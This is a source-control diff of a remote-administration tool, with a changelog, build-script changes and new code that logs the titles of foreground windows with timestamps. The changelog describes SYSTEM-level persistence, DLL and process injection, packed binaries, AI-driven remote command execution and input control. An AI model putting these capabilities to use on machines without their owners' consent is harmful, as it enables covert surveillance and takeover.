**Web 維運控制台 & 安全加固 & 單向 TLS**
|
||||
|
||||
**新功能:**
|
||||
- **Web 螢幕牆**:同一分頁以 1×1 ~ 5×5 佈局同時監控多台裝置,桌面 9 路 / 觸控 4 路即時解碼,超出預算暫停並自動晉升;點擊 tile 進入單畫面控制;同一裝置可重複加入並共享一路流;MFC 與 Go 伺服端同步支援(舊前端 / 舊伺服端自動降級)
|
||||
- **安全稽核日誌**:登入 / 授權拒絕 / WS 生命週期 / 螢幕與終端工作階段 / 剪貼簿(僅位元組數)/ 裝置認證 / 管理變更;Go 端持久化 `logs/audit.log`,MFC 端保留最近 1000 條記憶體環形緩衝;Web 新增稽核日誌查詢頁(時間 / 事件 / 操作者 / IP / 裝置 / 關鍵字 / 告警過濾 + 分頁)
|
||||
- **離線裝置歷史(Go)**:`devices.json` 持久化所有登入過的裝置,裝置列表可依需顯示離線記錄;管理員可刪除記錄或對線上裝置執行遠端解除安裝
|
||||
- **單向 TLS 傳輸**:裝置連接埠同一連接埠嗅探 ClientHello,TLS 1.2 用戶端加密、舊明文用戶端不受影響;MFC「擴充 > TLS憑證」執行時設定;線上列表新增 TLS 欄,右鍵可遠端啟用 / 取消(用戶端下次啟動生效)
|
||||
- **Web 遠端桌面增強**:Ctrl+C/X/V 雙向文字剪貼簿同步、手機「I」輸入框(經剪貼簿橋注入)、登入工作階段跨分頁共享、管理員 SSO 橋接
|
||||
- **用戶端安裝位置選擇**:ProgramData / ProgramFiles - Admin / SystemRoot - Admin / APPDATA / LOCALAPPDATA
|
||||
- **Go Web UI 白標**:`YAMA_WEB_BRAND_NAME` 取代產品名稱並移除安全提示與外部連結
|
||||
- **安全加固**:每 IP 連線與登入限流、單連線入站緩衝上限、螢幕 / 終端子連線綁定來源 IP、可選 ConnAuth HMAC 校驗
|
||||
- **複製機 ID 去重**:V2 `client_id` 納入主機名稱,撞 ID 時伺服端下發 `COMMAND_REGEN_CLIENT_ID` 讓用戶端重算重連
|
||||
|
||||
**改進:**
|
||||
- 檔案傳輸速度改由 MasterSettings 下發(修復重複彈窗),傳輸對話框標題即時顯示速度
|
||||
- 用戶端聊天關閉僅隱藏;日誌右鍵新增白名單;MCP 勾選即時重新整理;Web 原生 alert/confirm 全部替換為主題化應用內對話框
|
||||
- 非中文系統統一按 GBK / UTF-8 解碼(對話框 / 處理程序列表 / 檔案列表 / 路徑 / 地理位置 / 主機管理 / 剪貼簿)
|
||||
|
||||
**Bug 修復:**
|
||||
- 分享 / 轉移主機後重啟主控不重連;分享 / 轉移權限誤判
|
||||
- 已過期授權續期從今天起算,提示與日誌顯示實際到期日
|
||||
- V2 上傳快捷目錄未展開 `%USERPROFILE%`;無攝影機主機傳送 0×0 畫面資訊;欄切換殘留像素;Go 裝置連接埠日誌刷屏;稽核頁最小化後跳回裝置頁
|
||||
|
||||
### v1.4.0 (2026.10.7)
|
||||
|
||||
**SimplePlugins 功能遷移 & 遠端互動增強 & MCP 擴充 & 國際化**
|
||||
|
||||
**新功能:**
|
||||
- **SimplePlugins 功能遷移(實驗功能)**:檔案管理 / 隱私螢幕 / 遠端畫板三個功能原生遷入用戶端,作為線上主機右鍵「實驗功能」子選單交付,配 16x16 圖示(位圖陣列 66→69)
|
||||
- **MCP 裝置管理控制工具**:新增 kill_process / operate_window / control_service / power_action(單一 McpManage 開關 + 關閉唯讀),ready→confirm 生命週期 + WaitSendIdle 排空出站緩衝;MCP 設定新增「管理操作」勾選、主工具列 MCP 入口
|
||||
- **遠端交談**:「遠端交談」工具列按鈕(COMMAND_CHAT 161 / TOKEN_CHAT_START 62)開啟雙向交談,支援伺服端觸發螢幕鎖 / 解鎖
|
||||
- **TCP/UDP 連線管理**:工具列按鈕列出受管主機 TCP/UDP 連線,右鍵強制斷開 IPv4 TCP(iphlpapi 列舉 + CConnectionsDlg)
|
||||
- **主機管理**:遷移 CMachineManager(處理程序 / 視窗 / 網路 / 軟體 / IE 歷史 / 收藏夾 / 服務 / 排程工作 / hosts 列舉 + 處理程序注入),COMMAND_MACHINE_MANAGE 162
|
||||
- **授權失敗觸發器**:新增 TRIGGER_AUTH_FAILED 觸發類型(與主機上線觸發獨立),授權失敗時下發外掛程式 DLL,受 ShouldLogAuth 去重約束
|
||||
- **iPhone 遠端音訊**:WebAudio + 自託管 opus-decoder WASM 解碼,修復 iOS 無 MSE 靜音
|
||||
- **品質與傳輸控制**:遠端桌面 / 螢幕預覽品質等級選單(各 6 檔可設定)+ 檔案傳輸速度對話框(7 檔 + 無限檔,經 MasterSettings 下發)
|
||||
- **Shine/HELL 協定選擇**:分享 / 傳輸主機時可選協定,尾隨冒號欄位透傳,舊用戶端相容
|
||||
- **Go Web UI 子路徑部署**:YAMA_WEB_BASE_PATH 掛載整個 Web UI 到 URL 前綴
|
||||
- **國際化**:德語(de_DE)第 4 種語言、語言切換工具列按鈕、剩餘字串翻譯補齊;遠端桌面剪貼簿按鈕(全螢幕可達)
|
||||
|
||||
**改進:**
|
||||
- 通知設定關鍵詞改為多行輸入(每行一個,儲存仍分號分隔,相容既有 notify.ini)
|
||||
|
||||
**Bug 修復:**
|
||||
- HTTP 後續封包誤置 m_bShouldUnmask 致後續封包遺失(處理程序列表 kill 後空列表)
|
||||
- 即時訊息快顯視窗標題亂碼(GBK code_page 宣告)
|
||||
- geo-IP 查詢阻塞主機雙擊提示(僅本機資料庫載入時查詢 + 處理程序內快取)
|
||||
- 主機管理 IE 歷史字串洩漏(CoTaskMemFree)、隱私螢幕 0xCC 亂碼記錄
|
||||
|
||||
### v1.3.9 (2026.9.2)
|
||||
|
||||
**MCP 伺服端整合(AI 遠端管理)& 遠端控制與檔案傳輸閉環 & 主控增強**
|
||||
|
||||
**新功能:**
|
||||
- **MCP 伺服端整合**:本地 `127.0.0.1:6544` 暴露 JSON-RPC 2.0 介面,Bearer Token 鑑權,「擴充 > MCP 設定」對話框設定啟用 / 連接埠 / 綁定 / Token;23 個工具覆蓋「觀測 → 執行 → 控制 → 傳輸」全鏈路,預設關閉、分級開關(唯讀 / 白名單 / 終端 / 遠端控制 / 檔案傳輸)全面稽核
|
||||
- **MCP 觀測類工具(唯讀)**:search_hosts、get_host_detail、list_processes、list_windows、get_activity_history、list_files、get_screenshot(可選 max_width)、list_services、get_client_log、list_registry、get_audit_log;單飛請求登錄表 20s 逾時 + 編碼修正(clientType / clientID 定位)
|
||||
- **MCP 遠端終端工具**:exec_command 一次性執行 + terminal_open / terminal_exec / terminal_close 持久終端(cwd / 環境保留,閒置 300s 清掃),哨兵判定與 timeout_ms 解析修復
|
||||
- **MCP 遠端控制工具**:remote_open / remote_close 工作階段 + remote_keyboard(key_down / up / press / type)、remote_mouse(move / click / drag / scroll)、remote_clipboard 注入;與人工 Web 查看雙向互斥,工作階段狀態機 busy / closed 加固
|
||||
- **MCP 檔案傳輸工具**:download_file(V2 協定 + SHA-256 校驗)、upload_file(主連線上傳),用戶端側 `COMMAND_SEND_FILE_V2` 懶初始化 `InitFileUpload` 修復上傳截斷
|
||||
- **用戶端活動歷史**:記錄活躍視窗歷史(上限 500 條、跳過 <5s),主機「用戶端管理」子選單新增「活動歷史」對話框,Unicode 編輯控件正確渲染 UTF-8 標題
|
||||
- **訊息右鍵選單三連**:訊息記錄右鍵新增「線上通知」「封鎖 IP」「解封 IP」,IPv4 提取即時生效
|
||||
- **列表排序記憶**:主機列表、處理程序 / 視窗列表排序偏好持久化(`list\*Sort` 登錄檔鍵),下次啟動預設沿用
|
||||
|
||||
**改進:**
|
||||
- 重複連線 standby 處理:重複登入暫存 standby 待舊連線逾時 / 斷線後晉升,避免循環重連與誤報離線
|
||||
- 遠端桌面 / 虛擬螢幕對話框標題顯示主機備註而非 IP(無備註回退 IP)
|
||||
- 主機列表三態排序(升冪 → 降冪 → 恢復預設,預設序按上線時間重建)
|
||||
- 線上主機右鍵三個選單項目新增圖示(位圖陣列 63→66)
|
||||
|
||||
**Bug 修復:**
|
||||
- 用戶端螢幕控制批次解析錯誤:記錄數是 7 的倍數時誤判 MSG32 致注入錯亂(`%48==0` 優先)
|
||||
- 心跳延遲更新 use-after-free:跨 PostMessage 持有 IoRefCount + memcpy 顯式截斷
|
||||
- ONLINELIST_PRIVILEGE 列舉錯位損壞歷史資料庫(權限列移至 16)
|
||||
- 遠端桌面游標跨對話框污染(改 `OnSetCursor` 逐視窗路由)
|
||||
- 用戶端記錄對話框 EDIT 上限停止刷新(`SetLimitText(0)`)
|
||||
- 視窗管理員檢視檢查讀取陳舊狀態、處理程序列表架構欄排序無效、FRP / NAT 下視窗標題亂碼
|
||||
|
||||
### v1.3.8 (2026.8.3)
|
||||
|
||||
**SYSTEM 權限用戶端 & 主控可用性增強 & Bug 修復**
|
||||
|
||||
**新功能:**
|
||||
- **用戶端 SYSTEM 權限執行**:雙模式自動適配(SYSTEM / Admin / User),Winlogon + Run 雙路徑登錄檔啟動;`ScreenManager` 無使用者工作階段時自動切換 DXGI,`KernelManager` 繞過使用者態 API 以 NT 路徑操作;跨工作階段 DLL 注入(`session.cpp`)實現 SYSTEM 工作階段向使用者工作階段注入控制模組
|
||||
- **線上主機權限等級欄**:主機列表新增「權限」欄,即時顯示 SYSTEM(藍色高亮)/ Admin / User,一眼識別受控端權限上下文
|
||||
- **遠端視窗管理選單(View Windows)**:遠端桌面新增 View Windows 選單項目,可列舉目標機器頂層視窗並進行最大化、最小化、隱藏、關閉操作
|
||||
- **違禁使用者封鎖**:主機列表右鍵新增「禁止連線」,伺服端發送 `COMMAND_FORBIDDEN`;用戶端收到後中斷連線並拒絕重連;附帶 Forbidden 圖示
|
||||
- **用戶端執行記錄對話框**:`ClientLogManager` 每 3 秒增量推送記錄到主控(`TOKEN_REPORT_LOG`);推送執行緒使用 `join()` 防止 use-after-free;IOCP → UI 執行緒 `PostMessage` 防止遺失封包;自帶圖示與選單位圖
|
||||
- **訊息記錄搜尋列**:`LogSearchBar` 元件(286 行),關鍵字高亮、Prev/Next 導航跳轉、Clear 清除
|
||||
- **除錯選單(YAMA_DBG)**:主選單新增除錯入口,動態輸入 `YAMA_DBG` 環境變數值,無需重啟主控
|
||||
|
||||
**改進:**
|
||||
- 遠端桌面游標自訂設定持久化到登錄檔,下次自動恢復偏好
|
||||
|
||||
**Bug 修復:**
|
||||
- 32 位元 / 64 位元主控切換崩潰:`KeyboardManager` 參數型別相容 + 伺服端位元數檢查
|
||||
- Safari 行動端切回凍結:前景切回時強制重建 WebSocket + 伺服端 30s 寬限期
|
||||
- `RunFileReceiver` 誤註冊 `ReconnectProcess` 導致檔案傳輸結束後終止主螢幕工作階段
|
||||
- 隱私桌布已設定時切換選單再次點擊執行清除而非彈框
|
||||
|
||||
### v1.3.7 (2026.6.26)
|
||||
|
||||
**Android 用戶端 & 視窗擷取增強 & 安全加固**
|
||||
|
||||
@@ -9,6 +9,8 @@
|
||||
- build.cmd publish:编译YAMA.exe且通过upx压缩,所生成的可执行文件较小。
|
||||
- buld.cmd server:只编译YAMA.exe,需保证所依赖的客户端程序已经编译。
|
||||
- build.cmd go-server:编译 Go 服务端,可以选择带publish 参数进行upx压缩。
|
||||
- build.cmd serverd:编译 Debug 版服务端(x64),输出 Bin\Yama_x64d.exe。
|
||||
- build.cmd client:编译 Debug 版客户端(x64),输出 x64\Debug\ghost.exe。
|
||||
|
||||
## Go 服务端
|
||||
|
||||
|
||||
@@ -591,6 +591,9 @@ static void ConnectionThread()
|
||||
|
||||
std::unique_ptr<IOCPClient> client(new IOCPClient(g_bExit, false));
|
||||
client->setManagerCallBack(nullptr, DataProcess, nullptr);
|
||||
// 同 Linux/macOS:不传 conn 的构造路径拿不到注入的 CONNECT_ADDRESS,协议必须显式喂进去,
|
||||
// 否则配成 WS/WSS 也只会静默按明文 TCP 直连。Android 没有 TLS 通道,WSS 会 fail-closed。
|
||||
client->SetDefaultProto((int)(unsigned char)g_SETTINGS.protoType);
|
||||
|
||||
int g_connAttempt = 0;
|
||||
while (S_CLIENT_NORMAL == g_bExit && g_running.load()) {
|
||||
|
||||
@@ -1,8 +1,10 @@
|
||||
@echo off
|
||||
:: SimpleRemoter Quick Build Script
|
||||
:: Usage: build.cmd [release|debug] [x64|x86|all] [server|clean|publish|go-server]
|
||||
:: Usage: build.cmd [release|debug] [x64|x86|all] [server|clean|publish|go-server|serverd|client]
|
||||
:: go-server Build Go fallback server only -> Bin\YamaGo_x64.exe
|
||||
:: go-server publish Same, plus UPX --best compression
|
||||
:: serverd Debug server only (x64) -> Bin\Yama_x64d.exe
|
||||
:: client Debug client (x64) -> x64\Debug\ghost.exe
|
||||
|
||||
setlocal enabledelayedexpansion
|
||||
|
||||
@@ -21,6 +23,9 @@ if /i "%~1"=="server" (set EXTRA_ARGS=!EXTRA_ARGS! -ServerOnly& shift& goto :par
|
||||
if /i "%~1"=="clean" (set EXTRA_ARGS=!EXTRA_ARGS! -Clean& shift& goto :parse_args)
|
||||
if /i "%~1"=="publish" (set EXTRA_ARGS=!EXTRA_ARGS! -Publish& shift& goto :parse_args)
|
||||
if /i "%~1"=="go-server" (set EXTRA_ARGS=!EXTRA_ARGS! -GoServer& shift& goto :parse_args)
|
||||
:: Debug presets: serverd = debug server x64 only, client = debug ghost x64 only
|
||||
if /i "%~1"=="serverd" (set CONFIG=Debug& set PLATFORM=x64& set EXTRA_ARGS=!EXTRA_ARGS! -ServerOnly& shift& goto :parse_args)
|
||||
if /i "%~1"=="client" (set CONFIG=Debug& set PLATFORM=x64& set EXTRA_ARGS=!EXTRA_ARGS! -ClientOnly& shift& goto :parse_args)
|
||||
echo Unknown argument: %~1
|
||||
shift
|
||||
goto :parse_args
|
||||
|
||||
@@ -1,9 +1,10 @@
|
||||
# SimpleRemoter Build Script
|
||||
# Usage: .\build.ps1 [-Config Release|Debug] [-Platform x64|x86|all] [-ServerOnly] [-Clean] [-Publish]
|
||||
# SimpleRemoter Build Script
|
||||
# Usage: .\build.ps1 [-Config Release|Debug] [-Platform x64|x86|all] [-ServerOnly] [-ClientOnly] [-Clean] [-Publish]
|
||||
#
|
||||
# Requirements:
|
||||
# - Visual Studio 2019 or 2022
|
||||
# - v142 toolset (MSVC v142 - VS 2019 C++ build tools)
|
||||
# - ATL (C++ ATL for v142 build tools)
|
||||
# - MFC libraries (C++ MFC for v142 build tools)
|
||||
|
||||
param(
|
||||
@@ -14,6 +15,7 @@ param(
|
||||
[string]$Platform = "x64",
|
||||
|
||||
[switch]$ServerOnly, # Only build main server (Yama), skip client projects
|
||||
[switch]$ClientOnly, # Only build the client executable (ghost), skip server
|
||||
[switch]$Clean, # Clean before build
|
||||
[switch]$Publish, # Publish mode: rebuild all deps + x64 Release + UPX compress
|
||||
[switch]$GoServer # Build Go fallback server (server/go) -> Bin/YamaGo_x64.exe
|
||||
@@ -119,8 +121,27 @@ if ($GoServer) {
|
||||
exit 0
|
||||
}
|
||||
|
||||
# 判断某个 VS 安装是否带 ATL/MFC 组件。ATL 头文件用 #pragma comment(lib, "atls.lib")
|
||||
# 自动链接,只装了编译工具(BuildTools)的实例常常没有这一块:编译能过、链接报
|
||||
# LNK1104 无法打开 atls.lib。同机既装 BuildTools 又装 IDE 时,按路径取第一个会挑错。
|
||||
function Test-VcAtlPresent {
|
||||
param([string]$VsRoot)
|
||||
if (-not $VsRoot) { return $false }
|
||||
$atlLib = Join-Path $VsRoot "VC\Tools\MSVC\*\atlmfc\lib\x86\atls.lib"
|
||||
return [bool](Get-ChildItem $atlLib -ErrorAction SilentlyContinue | Select-Object -First 1)
|
||||
}
|
||||
|
||||
# 从 ...\MSBuild\Current\Bin\MSBuild.exe 反推 VS 安装根目录。
|
||||
function Get-VsRootFromMsBuild {
|
||||
param([string]$MsBuildPath)
|
||||
$idx = $MsBuildPath.IndexOf("\MSBuild\", [System.StringComparison]::OrdinalIgnoreCase)
|
||||
if ($idx -lt 0) { return $null }
|
||||
return $MsBuildPath.Substring(0, $idx)
|
||||
}
|
||||
|
||||
# Find MSBuild (VS2019 or VS2022, including Insiders/Preview)
|
||||
# Order: Prefer installations with v142 toolset (VS2019) over VS2022 BuildTools
|
||||
# Order: Prefer installations with v142 toolset (VS2019) over VS2022 BuildTools,
|
||||
# and within that prefer instances that actually carry ATL/MFC.
|
||||
$msBuildPaths = @(
|
||||
# VS2019 Insiders/Preview (non-standard path) - has v142 + MFC
|
||||
"${env:ProgramFiles}\Microsoft Visual Studio\18\*\MSBuild\Current\Bin\MSBuild.exe",
|
||||
@@ -134,12 +155,17 @@ $msBuildPaths = @(
|
||||
)
|
||||
|
||||
$msBuild = $null
|
||||
$fallbackMsBuild = $null # 第一个找到的候选(可能不带 ATL),仅在没有带 ATL 的实例时兜底
|
||||
foreach ($pattern in $msBuildPaths) {
|
||||
$found = Get-ChildItem $pattern -ErrorAction SilentlyContinue | Select-Object -First 1
|
||||
if ($found) {
|
||||
$msBuild = $found.FullName
|
||||
break
|
||||
foreach ($found in @(Get-ChildItem $pattern -ErrorAction SilentlyContinue)) {
|
||||
if (-not $fallbackMsBuild) { $fallbackMsBuild = $found.FullName }
|
||||
if (Test-VcAtlPresent (Get-VsRootFromMsBuild $found.FullName)) {
|
||||
$msBuild = $found.FullName
|
||||
break
|
||||
}
|
||||
Write-Host "Skipping MSBuild without ATL/MFC: $($found.FullName)" -ForegroundColor DarkYellow
|
||||
}
|
||||
if ($msBuild) { break }
|
||||
}
|
||||
|
||||
# 兜底:默认路径找不到(例如 VS 装在 D 盘)时,用 vswhere 反查。
|
||||
@@ -147,19 +173,34 @@ foreach ($pattern in $msBuildPaths) {
|
||||
if (-not $msBuild) {
|
||||
$vswhere = "${env:ProgramFiles(x86)}\Microsoft Visual Studio\Installer\vswhere.exe"
|
||||
if (Test-Path $vswhere) {
|
||||
$found = & $vswhere -latest -products * -requires Microsoft.Component.MSBuild `
|
||||
-find "MSBuild\**\Bin\MSBuild.exe" 2>$null |
|
||||
Select-Object -First 1
|
||||
if ($found) { $msBuild = $found }
|
||||
# 不能用 -requires Microsoft.VisualStudio.Component.VC.ATL 过滤组件 id:
|
||||
# 各 VS 版本的 id 不一样(v142/v143/预览版),且预览实例可能根本查不到。
|
||||
# 因此列出全部实例,再逐个用 atls.lib 落地校验(上面那条 glob 只看得到 C 盘,
|
||||
# VS 装在 D 盘时只能靠这里找到)。
|
||||
$hits = @(& $vswhere -products * -requires Microsoft.Component.MSBuild `
|
||||
-find "MSBuild\**\Bin\MSBuild.exe" 2>$null)
|
||||
foreach ($hit in $hits) {
|
||||
if (-not $hit) { continue }
|
||||
if (-not $fallbackMsBuild) { $fallbackMsBuild = $hit }
|
||||
if (Test-VcAtlPresent (Get-VsRootFromMsBuild $hit)) { $msBuild = $hit; break }
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
# 一个带 ATL 的实例都没有:仍用兜底候选,让 MSBuild 报出更具体的错误。
|
||||
if (-not $msBuild -and $fallbackMsBuild) {
|
||||
Write-Host "WARNING: no VS instance with ATL/MFC found, using $fallbackMsBuild" -ForegroundColor Yellow
|
||||
Write-Host " Install 'C++ ATL for v142 build tools' if linking fails on atls.lib." -ForegroundColor DarkGray
|
||||
$msBuild = $fallbackMsBuild
|
||||
}
|
||||
|
||||
if (-not $msBuild) {
|
||||
Write-Host "ERROR: MSBuild not found." -ForegroundColor Red
|
||||
Write-Host ""
|
||||
Write-Host "Please install Visual Studio 2019 or 2022 with:" -ForegroundColor Yellow
|
||||
Write-Host " - Desktop development with C++" -ForegroundColor White
|
||||
Write-Host " - MSVC v142 - VS 2019 C++ x64/x86 build tools" -ForegroundColor White
|
||||
Write-Host " - C++ ATL for v142 build tools" -ForegroundColor White
|
||||
Write-Host " - C++ MFC for v142 build tools" -ForegroundColor White
|
||||
exit 1
|
||||
}
|
||||
@@ -218,6 +259,9 @@ function Build-Project {
|
||||
Write-Host "If you see 'v142 build tools cannot be found':" -ForegroundColor Yellow
|
||||
Write-Host " Install 'MSVC v142 - VS 2019 C++ build tools' via VS Installer" -ForegroundColor White
|
||||
Write-Host ""
|
||||
Write-Host "If you see 'LNK1104: cannot open file atls.lib':" -ForegroundColor Yellow
|
||||
Write-Host " Install 'C++ ATL for v142 build tools' via VS Installer" -ForegroundColor White
|
||||
Write-Host ""
|
||||
Write-Host "If you see 'MFC libraries are required':" -ForegroundColor Yellow
|
||||
Write-Host " Install 'C++ MFC for v142 build tools' via VS Installer" -ForegroundColor White
|
||||
exit 1
|
||||
@@ -226,6 +270,54 @@ function Build-Project {
|
||||
Write-Host "OK: $Project" -ForegroundColor Green
|
||||
}
|
||||
|
||||
# Debug client fast path: build the client executable and stop.
|
||||
# Only ghost is built — the other client projects (ServerDll, TestRun, TinyRun,
|
||||
# SCLoader) exist to be embedded in the server and are irrelevant when the goal
|
||||
# is debugging the client itself.
|
||||
if ($ClientOnly) {
|
||||
$clientProject = "ghost"
|
||||
$clientPlatforms = if ($Platform -eq "all") { @("x86", "x64") } else { @($Platform) }
|
||||
$startTime = Get-Date
|
||||
|
||||
Write-Host ""
|
||||
Write-Host "========================================" -ForegroundColor Cyan
|
||||
Write-Host " SimpleRemoter Client Build" -ForegroundColor Cyan
|
||||
Write-Host " Config: $Config" -ForegroundColor Cyan
|
||||
Write-Host " Platform: $Platform" -ForegroundColor Cyan
|
||||
Write-Host " VS: $vsYear" -ForegroundColor Cyan
|
||||
Write-Host " Clean: $Clean" -ForegroundColor Cyan
|
||||
Write-Host "========================================" -ForegroundColor Cyan
|
||||
|
||||
foreach ($plat in $clientPlatforms) {
|
||||
Build-Project -Project $clientProject -Configuration $Config -Platform $plat -ForceClean $Clean
|
||||
}
|
||||
|
||||
$elapsed = (Get-Date) - $startTime
|
||||
|
||||
Write-Host ""
|
||||
Write-Host "========================================" -ForegroundColor Green
|
||||
Write-Host " Build Completed!" -ForegroundColor Green
|
||||
Write-Host " Time: $($elapsed.TotalSeconds.ToString('F1')) seconds" -ForegroundColor Green
|
||||
Write-Host "========================================" -ForegroundColor Green
|
||||
|
||||
Write-Host ""
|
||||
Write-Host "Output files:" -ForegroundColor Cyan
|
||||
# VS default OutDir for this project: $(SolutionDir)$(Platform)\$(Configuration)\
|
||||
# x86 output lands in <root>\Debug, x64 in <root>\x64\Debug.
|
||||
foreach ($plat in $clientPlatforms) {
|
||||
$outDir = if ($plat -eq "x64") { Join-Path (Join-Path $rootDir "x64") $Config } else { Join-Path $rootDir $Config }
|
||||
$clientOut = Join-Path $outDir "ghost.exe"
|
||||
if (Test-Path $clientOut) {
|
||||
$size = (Get-Item $clientOut).Length / 1MB
|
||||
Write-Host " $clientOut ($($size.ToString('F2')) MB)" -ForegroundColor White
|
||||
} else {
|
||||
Write-Host " WARNING: expected output not found at $clientOut" -ForegroundColor Yellow
|
||||
}
|
||||
}
|
||||
|
||||
exit 0
|
||||
}
|
||||
|
||||
# Determine platforms to build
|
||||
$platforms = if ($Platform -eq "all") { @("x86", "x64") } else { @($Platform) }
|
||||
|
||||
|
||||
@@ -0,0 +1,126 @@
|
||||
// ActivityHistory.cpp: 客户端历史活动记录采集模块
|
||||
|
||||
#include "stdafx.h"
|
||||
#include "ActivityHistory.h"
|
||||
#include "KernelManager.h" // ActivityWindow
|
||||
|
||||
ActivityHistory& ActivityHistory::Instance()
|
||||
{
|
||||
static ActivityHistory inst;
|
||||
return inst;
|
||||
}
|
||||
|
||||
void ActivityHistory::Start()
|
||||
{
|
||||
if (m_started.exchange(true))
|
||||
return;
|
||||
m_running = true;
|
||||
m_thread = std::thread(&ActivityHistory::Loop, this);
|
||||
}
|
||||
|
||||
void ActivityHistory::Stop()
|
||||
{
|
||||
m_running = false;
|
||||
if (m_thread.joinable())
|
||||
m_thread.join();
|
||||
}
|
||||
|
||||
std::string ActivityHistory::Dump() const
|
||||
{
|
||||
std::lock_guard<std::mutex> lock(m_mutex);
|
||||
std::string out;
|
||||
// 当前进行中的窗口:若已持续达到阈值,作为最新一条返回
|
||||
if (!m_curTitle.empty() && m_curDwellSec >= ACTIVITY_MIN_DWELL_SEC)
|
||||
out += FormatRecord(m_curStartTime, m_curTitle, m_curDwellSec) + "\n";
|
||||
for (const auto& r : m_records)
|
||||
out += r + "\n";
|
||||
return out;
|
||||
}
|
||||
|
||||
void ActivityHistory::Loop()
|
||||
{
|
||||
// 空闲打断阈值:远大于 ACTIVITY_MIN_DWELL_SEC,避免“停在一个窗口上看几秒”被过早结账。
|
||||
const DWORD IDLE_THRESHOLD_MS = ACTIVITY_IDLE_BREAK_SEC * 1000;
|
||||
|
||||
ActivityWindow aw;
|
||||
HWND lastHwnd = NULL;
|
||||
std::string lastTitle;
|
||||
std::string startTime;
|
||||
int dwellSec = 0;
|
||||
|
||||
while (m_running) {
|
||||
// 取前台窗口句柄 + 标题;空闲/锁定/取不到标题时 hwnd==NULL 或 title 为空
|
||||
HWND hwnd = aw.GetActiveWindowHandle(IDLE_THRESHOLD_MS);
|
||||
std::string title = aw.GetActiveTitleOrEmpty(IDLE_THRESHOLD_MS);
|
||||
|
||||
{
|
||||
std::lock_guard<std::mutex> lock(m_mutex);
|
||||
|
||||
if (hwnd == NULL || title.empty()) {
|
||||
// 空闲/锁定/无标题:结账上一个窗口
|
||||
if (lastHwnd != NULL && dwellSec >= ACTIVITY_MIN_DWELL_SEC)
|
||||
m_records.push_front(FormatRecord(startTime, lastTitle, dwellSec));
|
||||
lastHwnd = NULL;
|
||||
lastTitle.clear();
|
||||
dwellSec = 0;
|
||||
} else if (hwnd == lastHwnd) {
|
||||
// 同一窗口:即使标题动态变化也连续累计,标题取最新值
|
||||
++dwellSec;
|
||||
lastTitle = title;
|
||||
} else {
|
||||
// 窗口切换:结账上一个,开始累计新窗口
|
||||
if (lastHwnd != NULL && dwellSec >= ACTIVITY_MIN_DWELL_SEC)
|
||||
m_records.push_front(FormatRecord(startTime, lastTitle, dwellSec));
|
||||
lastHwnd = hwnd;
|
||||
lastTitle = title;
|
||||
startTime = NowStr();
|
||||
dwellSec = 1;
|
||||
}
|
||||
|
||||
while (m_records.size() > ACTIVITY_HISTORY_MAX)
|
||||
m_records.pop_back();
|
||||
|
||||
m_curTitle = lastTitle;
|
||||
m_curStartTime = startTime;
|
||||
m_curDwellSec = dwellSec;
|
||||
}
|
||||
|
||||
Sleep(1000);
|
||||
}
|
||||
}
|
||||
|
||||
std::string ActivityHistory::FormatRecord(const std::string& startTime, const std::string& title, int dwellSec)
|
||||
{
|
||||
// 标题里的换行会破坏“每行一条”,做最小清洗
|
||||
std::string t;
|
||||
t.reserve(title.size());
|
||||
for (char c : title) {
|
||||
if (c == '\r' || c == '\n') c = ' ';
|
||||
t += c;
|
||||
}
|
||||
return "[" + startTime + "] [" + t + "] " + FormatDuration(dwellSec);
|
||||
}
|
||||
|
||||
std::string ActivityHistory::FormatDuration(int sec)
|
||||
{
|
||||
if (sec < 0) sec = 0;
|
||||
if (sec < 60)
|
||||
return std::to_string(sec) + "s";
|
||||
if (sec < 3600) {
|
||||
int m = sec / 60, s = sec % 60;
|
||||
return s ? std::to_string(m) + "m" + std::to_string(s) + "s"
|
||||
: std::to_string(m) + "m";
|
||||
}
|
||||
int h = sec / 3600, m = (sec % 3600) / 60;
|
||||
return std::to_string(h) + "h" + std::to_string(m) + "m";
|
||||
}
|
||||
|
||||
std::string ActivityHistory::NowStr()
|
||||
{
|
||||
SYSTEMTIME st;
|
||||
GetLocalTime(&st);
|
||||
char buf[32];
|
||||
sprintf_s(buf, sizeof(buf), "%04d-%02d-%02d %02d:%02d:%02d",
|
||||
st.wYear, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond);
|
||||
return buf;
|
||||
}
|
||||
@@ -0,0 +1,54 @@
|
||||
#pragma once
|
||||
#include <string>
|
||||
#include <deque>
|
||||
#include <mutex>
|
||||
#include <thread>
|
||||
#include <atomic>
|
||||
|
||||
// 历史活动记录:
|
||||
// 每条格式:[YYYY-MM-DD HH:MM:SS] [窗口标题] <时长>
|
||||
// 倒序存储(最新在前)。后台线程每 1 秒采样一次前台窗口。
|
||||
#define ACTIVITY_MIN_DWELL_SEC 5 // 一闪而过阈值(秒):驻留低于此值不记录
|
||||
#define ACTIVITY_IDLE_BREAK_SEC 300 // 空闲打断阈值(秒):空闲超过此值才结账当前窗口
|
||||
// 注意:与心跳“活动窗口”列的 6s 判定不同,这里要远大于 MIN_DWELL,
|
||||
// 否则“停在一个窗口上看 10 秒”会被 6s 空闲判定过早结账/漏记
|
||||
#define ACTIVITY_HISTORY_MAX 500 // 内存保留的最大记录条数
|
||||
|
||||
class ActivityHistory
|
||||
{
|
||||
public:
|
||||
static ActivityHistory& Instance();
|
||||
|
||||
// 启动常驻采样线程(幂等,重复调用无副作用)
|
||||
void Start();
|
||||
// 停止采样线程
|
||||
void Stop();
|
||||
|
||||
// 返回全部历史记录(最新在前,多行文本,每行一条)
|
||||
std::string Dump() const;
|
||||
|
||||
private:
|
||||
ActivityHistory() = default;
|
||||
~ActivityHistory() { Stop(); }
|
||||
ActivityHistory(const ActivityHistory&) = delete;
|
||||
ActivityHistory& operator=(const ActivityHistory&) = delete;
|
||||
|
||||
void Loop();
|
||||
|
||||
// 拼一条记录字符串
|
||||
static std::string FormatRecord(const std::string& startTime, const std::string& title, int dwellSec);
|
||||
// 时长格式化:Ns / Nm / NmNs / NhNm
|
||||
static std::string FormatDuration(int sec);
|
||||
// 当前时间戳 "YYYY-MM-DD HH:MM:SS"
|
||||
static std::string NowStr();
|
||||
|
||||
mutable std::mutex m_mutex;
|
||||
std::deque<std::string> m_records; // 已完成记录,最新在前
|
||||
std::string m_curTitle; // 当前进行中的窗口标题
|
||||
std::string m_curStartTime; // 当前窗口的起始时间
|
||||
int m_curDwellSec = 0; // 当前窗口已连续活跃秒数
|
||||
|
||||
